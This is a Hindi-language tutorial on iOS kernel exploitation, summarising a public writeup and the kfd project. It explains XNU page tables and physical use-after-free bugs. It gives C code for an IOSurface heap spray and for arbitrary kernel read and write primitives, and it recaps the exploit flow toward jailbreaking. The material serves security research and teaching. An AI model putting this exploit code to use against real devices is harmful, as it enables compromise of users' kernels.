iOS Exploiting

Physical use-after-free

यह https://alfiecg.uk/2024/09/24/Kernel-exploit.html से पोस्ट का एक सारांश है, इसके अलावा इस तकनीक का उपयोग करके एक्सप्लॉइट के बारे में अधिक जानकारी https://github.com/felix-pb/kfd में मिल सकती है।

Memory management in XNU

iOS पर उपयोगकर्ता प्रक्रियाओं के लिए वर्चुअल मेमोरी एड्रेस स्पेस 0x0 से 0x8000000000 तक फैला हुआ है। हालाँकि, ये पते सीधे भौतिक मेमोरी से नहीं जुड़े होते। इसके बजाय, कर्नेल पृष्ठ तालिकाओं का उपयोग करके वर्चुअल पते को वास्तविक भौतिक पते में अनुवाद करता है।

Levels of Page Tables in iOS

पृष्ठ तालिकाएँ तीन स्तरों में पदानुक्रमित होती हैं:

  1. L1 Page Table (Level 1):

  • यहाँ प्रत्येक प्रविष्टि वर्चुअल मेमोरी की एक बड़ी रेंज का प्रतिनिधित्व करती है।

  • यह 0x1000000000 बाइट्स (या 256 जीबी) की वर्चुअल मेमोरी को कवर करती है।

  1. L2 Page Table (Level 2):

  • यहाँ एक प्रविष्टि वर्चुअल मेमोरी के एक छोटे क्षेत्र का प्रतिनिधित्व करती है, विशेष रूप से 0x2000000 बाइट्स (32 एमबी)।

  • यदि L1 प्रविष्टि पूरे क्षेत्र को स्वयं मानचित्रित नहीं कर सकती है, तो यह L2 तालिका की ओर इशारा कर सकती है।

  1. L3 Page Table (Level 3):

  • यह सबसे बारीक स्तर है, जहाँ प्रत्येक प्रविष्टि एकल 4 केबी मेमोरी पृष्ठ को मानचित्रित करती है।

  • यदि अधिक बारीक नियंत्रण की आवश्यकता है, तो L2 प्रविष्टि L3 तालिका की ओर इशारा कर सकती है।

Mapping Virtual to Physical Memory

  • Direct Mapping (Block Mapping):

  • पृष्ठ तालिका में कुछ प्रविष्टियाँ सीधे वर्चुअल पतों की एक रेंज को एक निरंतर भौतिक पतों की रेंज से मानचित्रित करती हैं (जैसे एक शॉर्टकट)।

  • Pointer to Child Page Table:

  • यदि अधिक बारीक नियंत्रण की आवश्यकता है, तो एक स्तर (जैसे, L1) में एक प्रविष्टि अगले स्तर (जैसे, L2) पर एक बाल पृष्ठ तालिका की ओर इशारा कर सकती है।

Example: Mapping a Virtual Address

मान लीजिए कि आप वर्चुअल पता 0x1000000000 तक पहुँचने की कोशिश करते हैं:

  1. L1 Table:

  • कर्नेल इस वर्चुअल पते के लिए L1 पृष्ठ तालिका प्रविष्टि की जांच करता है। यदि इसमें L2 पृष्ठ तालिका की ओर इशारा करने वाला एक पॉइंटर है, तो यह उस L2 तालिका पर जाता है।

  1. L2 Table:

  • कर्नेल अधिक विस्तृत मानचित्रण के लिए L2 पृष्ठ तालिका की जांच करता है। यदि यह प्रविष्टि एक L3 पृष्ठ तालिका की ओर इशारा करती है, तो यह वहाँ आगे बढ़ता है।

  1. L3 Table:

  • कर्नेल अंतिम L3 प्रविष्टि को देखता है, जो वास्तविक मेमोरी पृष्ठ के भौतिक पते की ओर इशारा करती है।

Example of Address Mapping

यदि आप भौतिक पता 0x800004000 को L2 तालिका के पहले अनुक्रमांक में लिखते हैं, तो:

  • वर्चुअल पतों 0x1000000000 से 0x1002000000 भौतिक पतों 0x800004000 से 0x802004000 तक मानचित्रित होते हैं।

  • यह L2 स्तर पर एक ब्लॉक मैपिंग है।

वैकल्पिक रूप से, यदि L2 प्रविष्टि L3 तालिका की ओर इशारा करती है:

  • वर्चुअल पता रेंज 0x1000000000 -> 0x1002000000 में प्रत्येक 4 केबी पृष्ठ L3 तालिका में व्यक्तिगत प्रविष्टियों द्वारा मानचित्रित किया जाएगा।

Physical use-after-free

एक भौतिक उपयोग-के-बाद-फ्री (UAF) तब होता है जब:

  1. एक प्रक्रिया कुछ मेमोरी को पढ़ने योग्य और लिखने योग्य के रूप में आवंटित करती है।

  2. पृष्ठ तालिकाएँ इस मेमोरी को एक विशिष्ट भौतिक पते पर मानचित्रित करने के लिए अपडेट की जाती हैं जिसे प्रक्रिया एक्सेस कर सकती है।

  3. प्रक्रिया मेमोरी को डिएक्लेट्स (फ्री) करती है।

  4. हालाँकि, एक बग के कारण, कर्नेल पृष्ठ तालिकाओं से मानचित्रण को हटाना भूल जाता है, हालाँकि यह संबंधित भौतिक मेमोरी को फ्री के रूप में चिह्नित करता है।

  5. कर्नेल फिर इस "फ्री" भौतिक मेमोरी को अन्य उद्देश्यों के लिए फिर से आवंटित कर सकता है, जैसे कर्नेल डेटा

  6. चूंकि मानचित्रण को नहीं हटाया गया था, प्रक्रिया अभी भी इस भौतिक मेमोरी को पढ़ने और लिखने में सक्षम है।

इसका मतलब है कि प्रक्रिया कर्नेल मेमोरी के पृष्ठों तक पहुँच सकती है, जिसमें संवेदनशील डेटा या संरचनाएँ हो सकती हैं, जिससे एक हमलावर को कर्नेल मेमोरी में हेरफेर करने की अनुमति मिल सकती है।

Exploitation Strategy: Heap Spray

चूंकि हमलावर यह नियंत्रित नहीं कर सकता कि कौन से विशेष कर्नेल पृष्ठ फ्री मेमोरी को आवंटित किए जाएंगे, वे एक तकनीक का उपयोग करते हैं जिसे हीप स्प्रे कहा जाता है:

  1. हमलावर कर्नेल मेमोरी में कई IOSurface ऑब्जेक्ट्स बनाता है।

  2. प्रत्येक IOSurface ऑब्जेक्ट में इसके एक क्षेत्र में एक जादुई मान होता है, जिससे इसे पहचानना आसान होता है।

  3. वे फ्री किए गए पृष्ठों को स्कैन करते हैं यह देखने के लिए कि क्या इनमें से कोई IOSurface ऑब्जेक्ट फ्री किए गए पृष्ठ पर उतरा है।

  4. जब वे एक फ्री किए गए पृष्ठ पर एक IOSurface ऑब्जेक्ट पाते हैं, तो वे इसका उपयोग कर्नेल मेमोरी को पढ़ने और लिखने के लिए कर सकते हैं।

इस बारे में अधिक जानकारी https://github.com/felix-pb/kfd/tree/main/writeups में है।

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: हमलावर एक विशेष पहचानकर्ता ("जादुई मान") के साथ कई IOSurface ऑब्जेक्ट्स बनाता है।

  2. Scan Freed Pages: वे जांचते हैं कि क्या इनमें से कोई ऑब्जेक्ट फ्री किए गए पृष्ठ पर आवंटित किया गया है।

  3. Read/Write Kernel Memory: IOSurface ऑब्जेक्ट में क्षेत्रों में हेरफेर करके, वे कर्नेल मेमोरी में मनमाने पढ़ने और लिखने की क्षमता प्राप्त करते हैं। इससे उन्हें:

  • कर्नेल मेमोरी में किसी भी 32-बिट मान को पढ़ने के लिए एक क्षेत्र का उपयोग करने की अनुमति मिलती है।

  • 64-बिट मान लिखने के लिए दूसरे क्षेत्र का उपयोग करने की अनुमति मिलती है, जिससे एक स्थिर कर्नेल पढ़ने/लिखने की प्राइमिटिव प्राप्त होती है।

IOSURFACE_MAGIC जादुई मान के साथ IOSurface ऑब्जेक्ट्स उत्पन्न करें ताकि बाद में खोजा जा सके:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

IOSurface ऑब्जेक्ट्स को एक मुक्त भौतिक पृष्ठ में खोजें:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Kernel Read/Write को IOSurface के साथ प्राप्त करना

एक IOSurface ऑब्जेक्ट पर नियंत्रण प्राप्त करने के बाद जो कर्नेल मेमोरी में है (जो एक मुक्त भौतिक पृष्ठ से मैप किया गया है जो उपयोगकर्ता स्थान से सुलभ है), हम इसका उपयोग मनमाने कर्नेल पढ़ने और लिखने के संचालन के लिए कर सकते हैं।

IOSurface में प्रमुख फ़ील्ड्स

IOSurface ऑब्जेक्ट में दो महत्वपूर्ण फ़ील्ड्स हैं:

  1. उपयोग गणना पॉइंटर: एक 32-बिट पढ़ने की अनुमति देता है।

  2. सूचीकृत टाइमस्टैम्प पॉइंटर: एक 64-बिट लिखने की अनुमति देता है।

इन पॉइंटर्स को ओवरराइट करके, हम उन्हें कर्नेल मेमोरी में मनमाने पते पर पुनर्निर्देशित करते हैं, जिससे पढ़ने/लिखने की क्षमताएँ सक्षम होती हैं।

32-बिट कर्नेल पढ़ना

पढ़ने के लिए:

  1. उपयोग गणना पॉइंटर को लक्ष्य पते पर 0x14-बाइट ऑफसेट घटाकर पुनः लिखें।

  2. उस पते पर मान पढ़ने के लिए get_use_count विधि का उपयोग करें।

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-बिट कर्नेल लिखें

लिखने के लिए:

  1. लक्षित पते पर सूचीबद्ध टाइमस्टैम्प पॉइंटर को ओवरराइट करें।

  2. 64-बिट मान लिखने के लिए set_indexed_timestamp विधि का उपयोग करें।

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Exploit Flow Recap

  1. Trigger Physical Use-After-Free: फ्री पेज फिर से उपयोग के लिए उपलब्ध हैं।

  2. Spray IOSurface Objects: कर्नेल मेमोरी में एक अद्वितीय "जादुई मान" के साथ कई IOSurface ऑब्जेक्ट्स आवंटित करें।

  3. Identify Accessible IOSurface: एक IOSurface का पता लगाएं जो आपके द्वारा नियंत्रित एक फ्रीड पेज पर है।

  4. Abuse Use-After-Free: IOSurface ऑब्जेक्ट में पॉइंटर्स को संशोधित करें ताकि IOSurface विधियों के माध्यम से मनमाने कर्नेल पढ़ने/लिखने को सक्षम किया जा सके।

इन प्राइमिटिव्स के साथ, एक्सप्लॉइट नियंत्रित 32-बिट पढ़ने और 64-बिट लिखने की अनुमति देता है कर्नेल मेमोरी में। आगे के जेलब्रेक चरणों में अधिक स्थिर पढ़ने/लिखने के प्राइमिटिव्स शामिल हो सकते हैं, जिन्हें अतिरिक्त सुरक्षा (जैसे, नए arm64e उपकरणों पर PPL) को बायपास करने की आवश्यकता हो सकती है।

Last updated